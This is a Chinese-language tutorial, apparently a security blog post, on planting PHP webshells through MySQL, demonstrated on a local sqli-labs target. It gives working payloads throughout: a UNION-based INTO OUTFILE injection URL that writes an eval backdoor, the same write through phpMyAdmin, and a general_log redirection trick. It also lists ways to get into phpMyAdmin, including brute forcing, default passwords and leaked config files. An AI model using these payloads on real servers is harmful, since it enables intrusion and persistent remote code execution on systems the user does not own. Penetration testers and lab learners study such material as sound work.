写入webshell的前提条件:
1、需要root权限。
2、知道网站根目录的绝对路径。
3、数据库my.ini配置文件需要secure_file_priv配置为空。
secure_file_priv=''
sql注入写入webshell的方法:
1、通过outfile()函数写入一句话木马。
以sql-lab第一关为例
写入虚拟机靶场语句为下
http://192.168.13.1/sqli-labs-master/Less-1/?id=-1' union select 1,'<?php @eval($_POST["cmd"])?>',3 into outfile 'D:/phpstudy_pro/WWW/shell.php' --+
网站根路径为:D:\phpstudy_pro\WWW
用蚁剑连接成功。
同时sqlmap集成了一键化利用。就是--os-shell的参数。
2.通过phpmyadmin写入webshell
如果网站安装了phpmyadmin并成功登录到了,利用通过phpmyadmin写入木马。
简单介绍phpmyadmin:phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。界面如下
登录phpmyadmin的思路有:
1.暴力破解:我们可以使用一些暴力破解的工具对 phpMyAdmin 的密码进行暴力破解,我在此列出一些暴力破解工具:nmap暴力破解数据库用户名和密码脚本、msf的爆破模块、Burp的爆破功能、phpMyAdmin暴力破解工具。当然爆破这个技术离不开一个强大的字典,所以我们在平时还是要去搜集一些字典还是很有必要的。
2.使用默认密尝试。
3.源代码泄露: 在现在一些网站使用的CMS系统中,对config.inc.php 及 config等数据库配置文件进行编辑时,有可能会产生 bak文件,这个文件可以直接读取或者下载。部分安装phpMyAdmin的服务器的网站往往存在目录遍历漏洞,通过目录遍历,通过下载源代码等打包的一些文件查看这些打包文件或泄露的代码可以获取网站源代码中的数据库配置文件的信息,从而获取到root的账户和密码。
4.爆出的 phpMyAdmin未授权访问漏洞像之前宝塔爆出的 phpMyAdmin 漏洞用户可以通过访问 http://www.xxx.com:888/pma,直接以root的用户登录phpMyAdmin管理页面
phpmyadmin也需要三个前提条件,所以登录进去后首先secure_file_priv是否为空,通过sql语句
show global variables like '%secure%'
同时注意secure_file_priv值不能通过sql语句来更改。
然后通过构建sql写入一句话木马
select '<?php @eval($_POST["cmd"])?>' into outfile 'D:/phpstudy_pro/WWW/shell2.php'
成功写入并用蚁剑成功连接。
3.通过phpmyadmin更改日志写入webshell
查看mysql是否开启全局日志,更改日志的路径。
查看是否开启全局日志的命令为:
show variables like '%general%'
查询结果可以看到没有开启日志记录,通过开启并更改日志路径和日志文件为php文件。通过日志记录一句话木马来利用。
开启命令为:
set global general_log=ON
更改路径命令为:
set global general_log_file='D:/phpstudy_pro/WWW/shell_log.php'
再次查看更改成功
再执行sql语句:
select '<?php @eval($_POST["cmd"])?>'
查看日志成功记录了一句话木马
用蚁剑测试连接成功。